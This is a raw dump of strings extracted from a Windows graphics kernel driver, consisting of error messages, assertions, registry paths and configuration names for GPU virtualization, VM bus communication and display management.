DXGKVGPU_ESCAPE_TYPE_PAUSE Invalid input/output buffer size for DXGKVGPU_ESCAPE_TYPE_PAUSE: 0x%I64x DXGKVGPU_ESCAPE_TYPE_RESUME Invalid input/output buffer size for DXGKVGPU_ESCAPE_TYPE_RESUME: 0x%I64x Invalid mitigation range count: 0x%I64x Invalid escape type: 0x%I64x Failed to allocate memory for virtual GPUs CoreAdapterAccess.IsSharedOwner() Failed to allocate LUID for virtual GPU, Status: 0x%I64x pProcess != nullptr Not enough memory to allocate the DXGSHAREDVGPUOBJECT for handle tracking. Not enough memory to allocate the DXGK_VIRTUAL_GPU_PARAV for vGPU tracking. The device file handle to bind to the new vGPU has already been bound to some other object. GraphicsDrivers\Paravirtualization GuestIoSpaceSizeInMb The driver failed PrepareLiveMigration DDI call. Status: 0x%I64x Invalid data or data size passed to RestoreImmutableMigrationData The driver failed SaveImmutableMigrationData DDI call. Status: 0x%I64x Invalid immutable data size %d, expected %d Invalid immutable data version %d Invalid number of segments %d, expected %d Invalid current partition count %d, expected %d Invalid hBuffer (0x%I64x), returning 0x%I64x SizeRemaining >= BytesCopied LiveMigrationGetDirtyBitplane DDI call failed with status 0x%I64x VidMmCreateDirtyBitplane call failed with status 0x%I64x Invalid Bitplane Header Version (0x%I64x), returning 0x%I64x Failed to allocate MSI-X Table Mappings VidMmTransferDirtyContentForLiveMigration call failed with status 0x%I64x Failed to find a valid MSI-X Mapping for entry MessageAddress 0x%I64x and MessageData 0x%I64x WriteVirtualizedInterrupt called without any mappings DxgkDdiStopDirtyTracking failed. Status: 0x%I64x VF Size is not a multiple of page size. VF size: 0x%I64x Page size: 0x%I64x Index: %d Failed to Query Segment Dirty Bit Tracking Caps. Status: 0x%I64x DxgkDdiDestroyMemoryBasis failed. Status: 0x%I64x Unknown Live Migration Bitplane Header Version 0x%I64x The PartitionId supplied is greater that the number of available GPU partitions: 0x%I64x 0x%I64x Failed to create partitioned GPU device 0x%I64x pArgs->UserModeVirtualDeviceProvider == m_pVirtualGpu[pArgs->PartitionId]->UserModeDllId The PartitionId refers to a vGPU that has not yet been created: 0x%I64x vGPUHandle == nullptr RtlEqualLuid(&pArgs->VirtualGpuLuid, &m_pVirtualGpu[pArgs->PartitionId]->VirtualGpuLuid) Failed to find saved GPU-P state. Status: 0x%I64x Failed to allocate allocations array Segment parameters in the saved data do not match NumMemorySegments in saved virtual function and new vGPU is different Setting vGPU resources with %1 segments returns %2 Failed to pin virtual GPU allocation. Status = 0x%I64x Failed to calculate KSR TotalSize: 0x%I64x vGPU has a resource set on segment %1 at offset %2 with a size of %3 Size is not a multiple of page size. VF size: 0x%I64x Page size: 0x%I64x Failed to allocate dirty bitplane buffer Failed to acquire process rundown protection: 0x%I64x The command is sent to invalid channel Invalid command is passed: %I64n Invalid VM to Host command is passed: %I64n Failed to find virtual GPU by luid: 0x%I64x Invalid extended header Failed to create VGPU VM bus channel: 0x%I64x DXGK_VirtualGpu DXG_HOST_VIRTUALGPU_VMBUS::VmBusChannelOpened DXG_HOST_VIRTUALGPU_VMBUS::VmBusChannelSuspend DXG_HOST_VIRTUALGPU_VMBUS::VmBusChannelClosed DXG_HOST_VIRTUALGPU_VMBUS::VmBusChannelPostStarted DXG_HOST_VIRTUALGPU_VMBUS::VmBusChannelStarted VmBusChannelProcessPacket: Invalid ext header size VmBusChannelProcessPacket: Invalid buffer size for extended header VmBusChannelProcessPacket: Virtual GPU channel is disabled VmBusChannelProcessPacket: Unexpected buffer size less than DXGKVMB_COMMAND_VGPU_TO_HOST VmBusChannelProcessPacket: Invalid channel type Async command failed: 0x%I64x, 0x%I64x, 0x%I64x 0x%I64x CDD device must be created in CSRSS process context Failed to allocate DXG_SET_GUEST_DATA CSRSS process context can only create CDD devices Failed to create CDD device: 0x%I64x Failed to create device: 0x%I64x Failed to create context: 0x%I64x OpenCrossAdapter is not supported Failed to allocate pAllocationSizes Failed to allocate pAllocationInfo Standard allocation does not have valid data Failed to allocate pOutput Fail to locate VidPnSourceId bVidPnSourceIsActuallyHostVidPnTarget must be used only with swapchain buffer Failed to make staging allocation resident. Returning 0x%I64x NULL == Args.hGlobalShare Failed to allocate memory for reclaim results Failed to create allocation: 0x%I64x DxgkOpenResourceFromNtHandle failed: 0x%I64x DxgkReclaimAllocations failed: 0x%I64x Invalid device handle: 0x%I64x DxgkOpenResource failed: 0x%I64x Invalid NumPages in the command: 0x%I64x VmBusSetExistingSysMemPages failed: 0x%I64x Context 0x%I64x does not belong to device 0x%I64x Invalid context handle: 0x%I64x Invalid rect VmBusBlt failed: 0x%I64x Invalid computed size Invalid bounding rect Rect is out of bounds Malformed packet Invalid SrcRect Invalid DstRect Invalid allocation count GDI acceleration is disabled No HwQueue found for CDD HW Context, pContext 0x%I64x Invalid context handle 0x%I64x Invalid allocation Invalid allocation device Driver does not support GDI interrop Invalid allocation size Invalid ROP Invalid allocation index Invalid ROP3 Driver does not support all ROPs Invalid stretch BLT flags Invalid stretch BLT mode Invalid temporary allocation size Invalid gamma Invalid standard allocation type VmBusCddGdiCommand failed: 0x%I64x Memory allocation failed DdiGetStandardAllocationDriverData failed: 0x%I64x Invalid device flush reason: 0x%I64x DxgkQueryAllocationResidency failed: 0x%I64x Invalid adapter handle: 0x%I64x Device was removed: 0x%I64x Must be render adapter Invalid adapter flush reason: 0x%I64x pSyncObject DXGCONTEXT: 0x%I64x Failed to SynchronizeImplicitQueueWithRenderQueues, returning D3DDDI_NATIVE_FENCE is not supported D3DDDI_PERIODIC_MONITORED_FENCE is not supported Device handle is zero for device sync objects Improper synchronzation type detected: %lu Invalid CPU event pointer Device handle is zero when a non-shared sync object is created DxgkCreateSynchronizationObjectInternal failed: 0x%I64x Output.hGlobalSyncObject Invalid context count for signal from CPU Invalid sync object count: 0x%I64x Unexpected Process: 0x%I64x Invalid context count: 0x%I64x Fence value array is NULL for submit signal to HwQueue Fence value array is NULL for signal from CPU Invalid SubmitWait handle: 0x%I64x unexpected process: 0x%I64x DxgkWaitForSynchronizationObjectFromGpuInternal failed: 0x%I64x DxgkCreatePagingQueueInternal failed: 0x%I64x DxgkSubmitWaitForSyncObjectsToHwQueue failed: 0x%I64x Invalid buffer size for DXGKQAITYPE_DRIVERCAPS DxgkUpdateAllocationProperty failed: 0x%I64x Invalid physical adapter index Invalid buffer size for DXGKQAITYPE_PHYSICALADAPTERCAPS Invalid buffer size for DXGKQAITYPE_PAGETABLELEVELDESC Invalid buffer size for DXGKQAITYPE_GPUMMUCAPS Invalid input buffer size for DXGKQAITYPE_HISTORYBUFFERPRECISION Invalid parameters DXGKQAITYPE_PAGETABLELEVELDESC Invalid output buffer size for DXGKQAITYPE_HISTORYBUFFERPRECISION Invalid PhysicalAdapterIndex for DXGKQAITYPE_HISTORYBUFFERPRECISION Invalid output buffer size for DXGKQAITYPE_GPUVERSION Invalid PhysicalAdapterIndex for DXGKQAITYPE_ADAPTERPERFDATA_CAPS Invalid output buffer size: 0x%I64x Invalid query type: 0x%I64x Invalid OutputBufferSize Failed to allocate pOutputData Invalid OutputBufferSize for DXGKVMB_COMMAND_QUERYADAPTERINFO, size is zero Failed to allocate pPrivateDriverDate NumAllocation mist be 1 when hDevice is not 0 Invalid packet size 0x%I64x Unsupported escape type 0x%I64x DxgkEvictInternal failed: 0x%I64x DxgkEscapeInternal failed: 0x%I64x Both device and paging queue are set or not set DxgkMapGpuVirtualAddress failed: 0x%I64x 0x%I64x Invalid protection flags specified 0x%I64x DXGPROCESS=0x%I64x VM bus interface mismatch: 0x%I64x, 0x%I64x, 0x%I64x, 0x%I64x Invalid NumOperations: 0x%I64x Invalid command length: 0x%I64x Adapter is already opened by the guest Invalid adapter handle CreateHandle failed: 0x%I64x Failed to read PnP registry key name for VmBusGetRegistryKeys (status = 0x%I64x). Cannot allocate memory for DXGKVMB_COMMAND_GETREGISTRYKEYS_RETURN Failed to copy root registry key name for VmBusGetRegistryKeys (status = 0x%I64x). Failed to insert root registry key name into list for VmBusGetRegistryKeys (status = 0x%I64x). Failed to append null char to CurrentRegistryPath for VmBusGetRegistryKeys (status = 0x%I64x). Failed to open PnP registry subkey for VmBusGetRegistryKeys (status = 0x%I64x). Failed to initialize subkey string for VmBusGetRegistryKeys (status = 0x%I64x). Maximum number of KeyValues reached, aborting VmBusGetRegistryKeys (status = 0x%I64x). Cannot allocate memory for KEY_VALUE_FULL_INFORMATION Failed to Append SubKeys for VmBusGetRegistryKeys (status = 0x%I64x). Failed to Enumerate Value for VmBusGetRegistryKeys (status = 0x%I64x). QuerySwapChainBindingStatusFromVm failed. BindId = 0x%I64x, Status = 0x%I64x Token of type D3DKMT_PM_FLIPMANAGER is unsupported for VAIL Status: 0x%I64x, Scenario: 0x%I64x, EventId: 0x%I64x SubmitPresentHistoryTokenFromVm failed Fail to locate display adapter Fail to lock device DXGK_Host DXG_HOST_GLOBAL_VMBUS::VmBusChannelSuspend DXG_HOST_GLOBAL_VMBUS::VmBusChannelOpened DXG_HOST_GLOBAL_VMBUS::VmBusChannelPostStarted DXG_HOST_GLOBAL_VMBUS::VmBusChannelStarted DXG_HOST_GLOBAL_VMBUS::VmBusChannelClosed VmBusSendAsyncMessage failed. 0x%I64x VmBusSendAsyncPacket failed. 0x%I64x VmBusChannelProcessPacket: Unexpected buffer size less than DXGKVMB_COMMAND_VM_TO_HOST VmBusChannelProcessPacket: Unexpected buffer size less than DXGKVMB_COMMAND_BASE Invalid process flags Invalid process flag, bWslProcess is not supported To many VM processes created Invalid process Linux/WSL flags Failed to create VM process: 0x%I64x Failed to allocate process handle: 0x%I64x Invalid object handle: 0x%I64x Failed to get process by handle: 0x%I64x Invalid NT shared object handle: 0x%I64x Fail to create Nt Shareed object, handle: 0x%I64x The VM has incorrect MMIO region size: 0x%I64x Failed to generate ETW session GUID: Status=0x%.8x SignalFence failed: 0x%I64x Invalid handle type: 0x%I64x Invalid shared vm object type: 0x%I64x Failed to open sync object (0x%I64x), returning 0x%I64x Cannot open keyed mutex from a shared resource which doesn't include a keyed mutex: 0x%I64x Invalid packet size (%u < %u) Invalid sync object (0x%I64x) specified, returning 0x%I64x pGuestVsyncEvent is zero, failing request Failed to allocate memory OPM requests not allowed from secure VM's Flags.Unused was not zero, failing request OutputBufSize (0x%I64x) too big Input buffer size is too big Max Opm contexts limit Failed to get virtual machine Invalid object type: 0x%I64x 0x%I64x Failed to allocate memory for output buffer Vail process is not registered Failed to reference vail object Message is not supported from this guest VM Fail to create NT shared sync object, handle: 0x%I64x SharedDataIndex was not out of range, failing request Shared page is not enabled VmBusSendDdiGetNodeMetadata failed: 0x%I64x Failed to allocate memory for DXGKVMB_COMMAND_CREATECONTEXTVIRTUAL VmBusSendSyncMessageStatusReturn failed: 0x%I64x CreateHwQueue failed on host with Status: 0x%I64x Failed to allocate memory for DXGKVMB_COMMAND_CREATEHWQUEUE VmBusSendCreateSyncObject failed: 0x%I64x VmBusSendSyncMessage failed. OutputSize:0x%I64x, OutputsizeOriginal:0x%I64x Invalid HwQueue handle: 0x%I64x MonitoredFenceValueArray or ObjectHandleArray not specified for submit signal to HwQueue ObjectCount or BroadcastContextCount is too big Invalid sync object handle 0x%I64x VmBusSendSignalSyncObject failed: 0x%I64x Invalid parameters for signal from CPU Failed to allocate memory for DXGKVMB_COMMAND_WAITFORSYNCOBJECTFROMCPU ObjectCount is too big Submit wait to HwQueue requires SyncObjectHandles and MonitoredFenceValueArray Command size is too big ObjectCount is invalid VmBusSendCreatePagingQueue failed: 0x%I64x Failed to allocate memory for command VmBusSendSignalFenceNtSharedByRef failed: 0x%I64x VmBusSendUpdateAllocationProperty failed: 0x%I64x VmBusSendFlushHeapTransitions failed: 0x%I64x VmBusSendOpenAdapter failed: 0x%I64x Invalid VM bus message size: 0x%I64x or invalid number of allocations: 0x%I64x VmBusSendGetInternalAdapterInfo failed: 0x%I64x Open cross adapter allocation is not supported Failed to allocate memory for protecter allocation pSysMem pointer is NULL: 0x%I64x Failed to allocate MDL for sysmem: 0x%I64x Failed to map allocation view. Size: 0x%I64x Failed to allocate existing sysmem Gpadl: 0x%I64x Failed to probe and lock the existing sysmem pointer: 0x%I64x Failed to allocate DXGKVMB_COMMAND_SETEXISTINGSYSMEMPAGES Failed to set existing sysmem Gpadl: 0x%I64x Failed to allocate storage for input buffer to MakeResident DXGKVMB_COMMAND_SETEXISTINGSYSMEMPAGES failed: 0x%I64x VmBusSendOpenResource failed: 0x%I64x NumAllocatoins is invalid Failed to allocate storage for input buffer VmBusSendOfferAllocations failed: 0x%I64x Adapter 0x%I64x: Failed to allocate memory, returning 0x%I64x VmBusSendOfferAllocations failed by host: 0x%I64x MmRotatePhysicalView failed: 0x%I64x Adapter 0x%I64x: Failed to allocate memory for CPU visible buffer, returning 0x%I64x VmBusSendUnlock2 failed: 0x%I64x VmBusSendLock2 failed: 0x%I64x Failed to allocate input buffer SubRectCount is invalid VmBusSendBlt failed: 0x%I64x VmBusSendCddGdiCommand failed: 0x%I64x AllocationCount is invalid Math overflow Invalid resource and allocation count Failed to allocate D3DKMT_ALLOCATIONRESIDENCYSTATUS Failed to allocate DXGKVMB_COMMAND_QUERYALLOCATIONRESIDENCY VmBusSendQueryAllocationResidency failed: 0x%I64x Invalid resource handle VmBusSendDdiGetStandardAllocationDriverData failed: 0x%I64x NumAllocation is invalid VmBusSendSetRedirectedFlipFenceValue failed: 0x%I64x VmBusSendGetDeviceState failed: 0x%I64x VmBusSendEvict failed: 0x%I64x Failed to allocate DXGKVMB_COMMAND_SUBMITCOMMANDTOHWQUEUE Failed to allocate DXGKVMB_COMMAND_SUBMITCOMMAND VmBusSendMapGpuVirtualAddress failed: 0x%I64x 0x%I64x encountered exception validating input returning 0x%I64x Failed to copy RegPathIn to VMBus Command for VmBusGetRegistryKeys (status = 0x%I64x). VmBusSendReserveGpuVirtualAddress failed: 0x%I64x VmBusSendSyncMessage Output failed for VmBusGetRegistryKeys (status = 0x%I64x). VmBusSendSyncMessage failed for VmBusGetRegistryKeys (status = 0x%I64x). Failed to create registry key for VmBusGetRegistryKeys (status = 0x%I64x). Failed to concat \ to RegPathRoot for VmBusGetRegistryKeys (status = 0x%I64x). Failed to create registry subkey for VmBusGetRegistryKeys (status = 0x%I64x). Failed to build registry subkey for VmBusGetRegistryKeys (status = 0x%I64x). Failed to translate UmdFileNames in Multi String Type to VM namespace for VmBusGetRegistryKeys (status = 0x%I64x). Failed to translate UmdFileName to VM namespace for VmBusGetRegistryKeys (status = 0x%I64x). VmBusSendReadRegistryKeys failed: 0x%I64x Failed to set value of reg key for VmBusGetRegistryKeys (status = 0x%I64x). Failed to create VM bus channel instance ID: 0x%I64x DXGK_AdapterGuest Failed to create the guest VM bus channel. Status: 0x%I64x Failed waiting for VM bus channel to start: 0x%I64x DXG_GUEST_VIRTUALGPU_VMBUS::VmBusChannelStarted DXG_GUEST_VIRTUALGPU_VMBUS::VmBusChannelOpened DXG_GUEST_VIRTUALGPU_VMBUS::VmBusChannelClosed DXG_GUEST_VIRTUALGPU_VMBUS::VmBusChannelPostStarted DXGK_GlobalGuest DXG_GUEST_VIRTUALGPU_VMBUS::VmBusChannelSuspend DXG_GUEST_GLOBAL_VMBUS::VmBusChannelClosed DXG_GUEST_GLOBAL_VMBUS::VmBusChannelOpened DXG_GUEST_GLOBAL_VMBUS::VmBusChannelStarted DXG_GUEST_GLOBAL_VMBUS::VmBusChannelSuspend Failed to create global VM bus channel in the VM, returning 0x%I64x DXG_GUEST_GLOBAL_VMBUS::VmBusChannelPostStarted VmBusSendCompleteTransaction failed: 0x%I64x VmBusSendSetIoSpaceRegion failed: 0x%I64x VmBusSendCreateNtSharedObject failed: 0x%I64x pSyncObject || pDeviceSyncObject || pResource MapCpuVaForParavirtualization failed: 0x%I64x VmBusSendSignalFence failed: 0x%I64x Invalid VM bus message size: 0x%I64x VmbusSendOpenSyncObject failed: 0x%I64x GetMmioSpaceInfo failed Failed to allocate output buffer for VmBusSendAcquireKeyedMutexSync Invalid event handle: 0x%I64x DXGPROCESS: 0x%I64x Unable to reference EPROCESS from process handle 0x%I64x Status: 0xI64x Failed to create shared resource for host shared resource Either input buffer size (0x%I64x) or output buffer size (0x%I64x) is too big to go over VmBus Failed to allocate shared resource runtime data Failed to allocate shared resource private driver data Failed to allocate private driver data for DXGADAPTERALLOCATION_VGPU Failed to allocate DXGADAPTERALLOCATION_VGPU object for shared host resource pSharedAllocObject == nullptr Failed to create shared alloc object Failed to reference process by handle for process id 0x%I64x, Status=0x%.8x Failed to open process handle for process id 0x%I64x, Status=0x%.8x Failed to create nt handle in guest process Failed to create shared resource for guest Invalid adapter specified, GuestAdapterLuid = 0x%08I64x%08I64x Could not find guest adapter info, HostAdapterLuid = 0x%08I64x%08I64x Failed to reserve IO space: 0x%I64x Invalid adapter specified, AdapterLuid = 0x%08I64x%08I64x Failed to create host VM bus channel. Status: 0x%I64x Failed to create Host VmBus channel 0x%I64x VmbChannelSendSynchronousRequest failed: 0x%I64x CommandSize >= sizeof(DXGKVMB_COMMAND_VGPU_TO_HOST) Failed to allocate virtual memory, returning 0x%I64x VmbChannelSendSynchronousRequest failed: %I64n MmRotatePhysicalView failed 0x%I64x Failed to allocate memory for CPU visible buffer, returning 0x%I64x Failed to insert section to process Failed to allocate channel context VmbChannelMapChildMmioSpace failed: 0x%I64x VmbChannelMapChildVaSpace failed: 0x%I64x VmbChannelLockChildPages failed: 0x%I64x VmbChannelMapGpadl failed: 0x%I64x Invalid VM bus channel NULL vmbus command Invalid channel type Adapter is expected Failed to allocate pInputBuffer Invalid input buffer Failed to allocate pOutputBuffer Failed to read input buffer Failed to write output buffer Invalid channel type for transmit. m_Reference > 0 m_Reference >= 0 Invalid DXGSHAREDVMOBJECT type: 0x%I64x IoGetDeviceObjectPointer failed: 0x%I64x \Device\RootVMBus\kmcl_interface IoCallDriver failed: 0x%I64x IoBuildSynchronousFsdRequest failed: 0x%I64x Reserved flags are set \Device\VMBus\kmcl_interface Failed to send SIGNALGUESTEVENT command: 0x%I64x Failed to send SIGNALGUESTEVENT command: 0x%I64x Invalid IRQL for DxgkCbSignalEvent 0 == m_Reference NULL == m_pDxgkObject m_PresentHistoryHead != m_PresentHistoryTail Caller specified VidPn source 0x%I64x is not valid on adapter 0x%I64x, returning 0x%I64x. DxgkHandleVideoParameters is called on a render only or display only adapter 0x%I64x, returning 0x%I64x. Specified GUID does not match VIDEOPARAMETERS GUID, returning 0x%I64x. Timeout occurred while waiting for guest transaction Transaction result from guest exceeds the buffer size provided by the transaction object. Cannot copy result. Transaction %I64u returned an error from the guest, Status=0x%.8x IoValidateDeviceIoControlAccess IoCreateDeviceSecure SeConvertStringSecurityDescriptorToSecurityDescriptor Properties Class NoUseClass NoDisplayClass DeviceType Security Exclusive DeviceCharacteristics {%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X} \Registry\Machine\System\CurrentControlSet\Control\Class \Device\PhysicalMemory d3d10warp.dll d3d10warp.dll d3d10warp.dll d3d10warp.dll d3d10warp.dll UserModeDriverNameWow UserModeDriverName UserModeDriverWsaImage UserModeDriverNameWSL UserModeDriverNameWsa32 UserModeDriverNameWsa64 DriverName DisplayUserModeDriverName DriverNameWow UserModeDListDriverName DisplayUserModeDriverNameWow ContentProtectionDriverName UserModeDListDriverNameWow OpenGLDriverName MiracastCompanionDriverName OpenGL OpenGLDriverNameWow OpenGLFlags OpenGLVersion OpenGLFlagsWow OpenGLVersionWow HardwareInformation.ChipType FdoContext->DeviceThreadState != StateSuspended || FdoContext->DevicePnpState == SurpriseRemoved || FdoContext->DevicePowerTransitionState != DevicePoweredOn InitializePowerManagement failed to register GRAPHICSPOWER interface:0x%I64x Device= Vendor= Model= Version= GPU_PV_ALL GPU_P_ALL \Registry\Machine\System\CurrentControlSet\Control\GraphicsDrivers\BlockList\Kernel GPU_PV_HIGH_SECURITY DISABLE_MPO foundStringCount < MAX_TRUE_CONDITIONS \Registry\Machine\System\CurrentControlSet\Control\GraphicsDrivers\BlockList\Runtime DISABLE_HWSCH \Driver\WddmWarp \Driver\VGPU \Driver\BasicDisplay \Driver\BasicRender \Driver\VirtualComputeAccelerator \Driver\VirtualRender Start ROOT\BasicDisplay SoftGPUAdapter ComputeAccelerator SoftGPU_Full_D3D9L SoftGPU_Full_D3D12 SoftGPU_Dod SoftGPU_Rod MCDMTestDevice SoftGPU_MCDM \Driver\IndirectKmd Adapter AddDevice has completed with status %1 DxgkDisplayMuxSwitch \Callback\SoftRestart GraphicsDrivers\DisableUSWC Kernel-ProductInfo PlatformSupportMiracast MiracastDefaultRtspPort SupportMultipleIntegratedDisplays SuspendAdapterTimerPeriod HwSchOverrideBlockList HwSchMode EnableBasicDisplayFallback HwSchTreatExperimentalAsStable ForcePreserveBootDisplay DisableBasicDisplayFallback ForceBddFallbackOnly GraphicsDrivers\BasicDisplay DxgKrnlVersion \Registry\Machine\System\CurrentControlSet\Control\Video\ FdoContext != nullptr MinDxgKrnlVersion DisableAutoAcpiPostDeivce DpiSriovNotification DpiSriovAttach DpiFlexIovMitigationUpdate DpiSriovEventComplete DpiSriovDetach LiveMigrationWaitForFence failed - kernel event object creation failed. Status = 0x%I64p DpiGetVirtualizationFlags DxgkLiveMigrationWaitForFence failed with Status: 0x%I64x Failed to acquire the adapter lock in DpiLiveMigrationWaitForFence with Status: 0x%I64x Failed to wait for the Live Migration Fence MultiMonSupport Microsoft-Windows-Core-AllowMultiMon Adapter StopDevice has completed with status %1 DisableNonPOSTDevice startCharIndex < endCharIndex && endCharIndex <= (PnPDriverVersionString.Length / sizeof(WCHAR)) 00000 DxgkGpuVaIommuSupported GpuVirtualizationFlags DualSmmu VirtualGpuOnly DisableVaBackedVm DisableVersionMismatchCheck LimitNumberOfVfs AOCID %04X_%04X_%08X_%08X %04X_%04X_%08X_%ls HighResBootCompatible DMSSOverride MiracastDriverName BasicDisplayUserNotified Adapter StartDevice has completed with status %1 \Registry\Machine\System\CurrentControlSet\Control\MiniNT HybridInternalPanelOverrideEnable bFailureCase Failed DxgkRequestAsyncDisplaySwitchCallout for DisplayMux switch failure (Status = 0x%I64x). !m_pGpuChild1 CurrentMuxPosition != MUX_GPU_CHILD::NONE EnableMdmExperimentalStaticFeature !m_pGpuChild2 GraphicsDrivers\Mdm EnableMdmExperimentalDynamicFeature ARGUMENT_PRESENT(FunctionalDeviceObject) EnableManualBrightnessMode DpiFdoHandleQueryPartitioningDeviceInterface DpiFdoHandleQueryFlexibleIovInterface DpiFdoHandleQuerySrIovInterface SWD\VirtualDisplayAdapter\VirtualDisplayDevice_ KSR Restore failed - blocks enumerated %1, status %2 KSR Restore was successful KSR Save routine has completed with status %1 KSR Prepare was called - will defer save until all VMs have quiesced KSR Complete routine has called and the driver iteration was %1 KSR Cancel routine has completed with status %1 Failing the KSR Finalize pContext != nullptr \Callback\PowerState _DISPLAY_ACPI_INFO \_SB_. \SB. _SB. _SB_. \_SB. DpiDxgkDdiQueryDeviceDescriptor: Old DDI should not be used when Feature_SetMonitorDescriptorOverride is enabled and DxgkDdiQueryMonitorDescriptor exposed by driver. %wZ,%u %wZ,%u,%wZ DISPLAY\Default_Monitor Failed to create the default name for a monitor device (Status = 0x%I64x) DISPLAY\ LOGICALGPU\ MONITOR\Remote_Monitor MONITOR\Default_Monitor MONITOR\Remote_Monitor_ UNKNOWN MONITOR\ VIDEO\VEN_%04X&DEV_%04X&SUBSYS_%04X%04X&REV_%02X&%ws,VIDEO\VEN_%04X&DEV_%04X&SUBSYS_%04X%04X&%ws,VIDEO\VEN_%04X&DEV_%04X&%ws,VIDEO\%ws,, Video \DosDevices\DISPLAY \%04d Service VIDEO SymbolicLinkValue {5b45201d-f2f2-4f3b-85bb-30ff1f953599} \VolatileSettings TargetPriorityList DefaultSimulatedTarget TargetForcePriorityList AssertOnDdiViolation BadMonitorModeDiag Unable to read VIDPN_MGR diagnostics data; DiagInfoSerialization.get() = 0x%I64x, this = 0x%I64x Unable to obtain VIDPN_MGR Diagnosibility buffer; pDiagnosticsBuffer = 0x%I64x, this = 0x%I64x ScalingMode != D3DKMDT_VPPS_UNPINNED Failed to reset VidPn source visibility on VidPn source 0x%I64x on adapter 0x%I64x (Status = 0x%I64x). this->IsMiniportDriverCCDSupport() || (i_ContentScaling != D3DKMDT_VPPS_CUSTOM) !this->IsMiniportDriverCCDSupport() || (i_ContentScaling != D3DKMDT_VPPS_NOTSPECIFIED) this->IsMiniportDriverCCDSupport() || (i_ContentScaling != D3DKMDT_VPPS_ASPECTRATIOCENTEREDMAX) (i_DoNotSuspend && pDisplayAdapter->GetRenderCore()->GetSchedulerSuspendSourceMask()) || (!i_DoNotSuspend && !pDisplayAdapter->GetRenderCore()->GetSchedulerSuspendSourceMask()) o_ppDxgDmmMonitorSourceModeSetInterface != NULL o_phMonitorSourceModeSet != NULL this->GetNumElements() == i_rList.GetNumElements() *pSurfaceSize == *pContentSize (GivenPathDescriptor->Flags & D3DKMT_PATHMODALITY_DESCRIPTOR_SMI_VALID) == 0 Unknown scaling type 0x%lx (GivenPathDescriptor->FixedFlags & D3DKMT_PATHMODALITY_DESCRIPTOR_SMI_FIXED) == 0 (GivenPathDescriptor->Flags & D3DKMT_PATHMODALITY_DESCRIPTOR_TMI_ACTIVE_SIZE_VALID) == 0 (GivenPathDescriptor->FixedFlags & D3DKMT_PATHMODALITY_DESCRIPTOR_TMI_ACTIVE_SIZE_FIXED) == 0 PathDescriptor->Flags & D3DKMT_PATHMODALITY_DESCRIPTOR_SMI_VALID (PathDescriptor->Flags & D3DKMT_PATHMODALITY_DESCRIPTOR_PATH_SMI_TMI_FORCED_FIXED) == 0 Failed to set clipbox with scaling intent 0x%lx, going to force PathDescriptor->Flags & D3DKMT_PATHMODALITY_DESCRIPTOR_CONTENT_SIZE_VALID Failed info for hash (0x%lx) Failed to get the preferred VidPn source list for adapter 0x%I64x%08I64x, Status = 0x%I64x Total paths (0x%I64x) from adapter 0x%I64x%08I64x is larger than D3DKMDT_MAX_VIDPN_SOURCES, returning 0x%I64x. D3DKMDT_VPPR_GET_OFFSET_ROTATION(pPathDescriptor->Rotation) == D3DKMDT_VPPR_IDENTITY pCurrentPath->Flags & D3DKMT_PATHMODALITY_DESCRIPTOR_CLONE_GROUP_VALID pScratchVidPnTopology->GetNumPaths() == 0 Unable to retrieve active topology. (Status = 0x%I64x) AddPathToVidPnTopology() failed. (Status = 0x%I64x) pScratchVidPnTopology->GetNumPaths() == 1 Cannot open handle to GraphicsDrivers register key (NtStatus = 0x%I64x) Failed to write unsupported monitor modes flag to registry. (NtStatus = 0x%I64x) pPickedWireFormat->Value == 0 (pPickedWireFormat->Value & (pPickedWireFormat->Value - 1)) == 0 ((pPathInfo->pPathModality->FixedFlags & D3DKMT_PATHMODALITY_DESCRIPTOR_SMI_FIXED) == 0) == ((pPathInfo->pPathModality->Flags & D3DKMT_PATHMODALITY_DESCRIPTOR_SMI_VALID) == 0) PrimSurfSize.cx PrimSurfSize.cy ColorBasis Position.cx Stride PixelFormat Flags VideoStandard Position.cy CcdDbVersion VSyncFreq.Numerator VSyncFreq.Denominator ActiveSize.cx ActiveSize.cy PixelRate ScanlineOrdering HSyncFreq.Numerator HSyncFreq.Denominator VirtualRefreshRate.Numerator VirtualRefreshRate.Denominator Scaling Rotation DwmClipBox.top DwmClipBox.right BoostRefreshRateMultiplier DwmClipBox.left Clone DwmClipBox.bottom External Dacl->AclSize >= sizeof(ACL) Failed to enumerate key with status 0x%I64x RtlValidSecurityDescriptor(&SecurityDescriptor) 0123456789ABCDEF\Registry\Machine\System\CurrentControlSet\Control\GraphicsDrivers\BreakOnBadEDID +*^~\/ InternalMonEdidHandle \Registry\Machine\System\CurrentControlSet\Control\GraphicsDrivers\InternalMonEdid %08x Failed (0x%I64x) to set WNF_DX_INTERNAL_PANEL_DIMENSIONS to size (%d, %d) Origin EarliestSysTimeIdx < NUM_EDIDS_TO_CACHE DisableEmergencySimulatedMonitor MonitorPersistency _GetAdapter()->IsCoreResourceSharedOwner() DisableUsingMonitorPowerForSimulatedMonitor Unknown monitor event was processed. This switch block should be updated to decide whether the monitor uniqueness is affected. COMPOSITE COMPONENT HD15 SVIDEO HDTV D_JPN SDTVDONGLE LVDS TimingId PixelClock OTHER VerticalLines VerticalSync HorizontalPixels HorizontalSync MonitorOrientation VMSDisabled EnableIntegratedPanelBoostRefreshRateByDefault DockedOrientation EnableBoostRefreshRateByDefault NOEDID MSNIL MSBDD_ Failed to create event, status 0x%I64 Failed to get event pointer, status 0x%I64 Failed to allocate memory for Usb4 power on target list Could not find adapter with luid 0x%08I64x%08I64x USB4_POWERON_WORK_QUEUE not initalized Failed to allocate memory for Usb4 power on context Failed to acquire exclusive for adapter 0x%I64 after processing, status 0x%I64 DmmPowerOnOffTargetsFromSourceIfNecessary failed for adapter 0x%I64 after processing, status 0x%I64 Adapter with luid 0x%08I64x%08I64x is not active Could not find target 0x%I64 for adapter 0x%I64, status 0x%I64 GFX-%016llx:%08x GFX%02x-%016llx:%08x LowerFilters IsActive() || pSyncAdapter->RemovePending() BltQueue ran out of unique bits for periodic monitored fence ID assignment Failed to create DOD periodic frame notification, invalid offset: %lld Dod CreatePeriodicFrameNotification() has only been tested on indirect display m_OutStandingHwVsyncRequests >= 0 Failed to signal UINT64_MAX on a destroyed dod periodic frame notification id: %lu Failed to destroy dod periodic frame notification id: %lu VmBusSendLock2 failed Failed to allocate DXGDODPRESENT for display only adapter 0x%I64x! DdiDescribeAllocation failed: 0x%I64x Failed to find host mapping for adapter 0x%I64x, target id 0x%I64x (((NTSTATUS)(Status)) >= 0) pPhysicalObject->Flags.NonPaged == 1 Failed to map MDL 0x%.16I64x to IOMMU at logical address 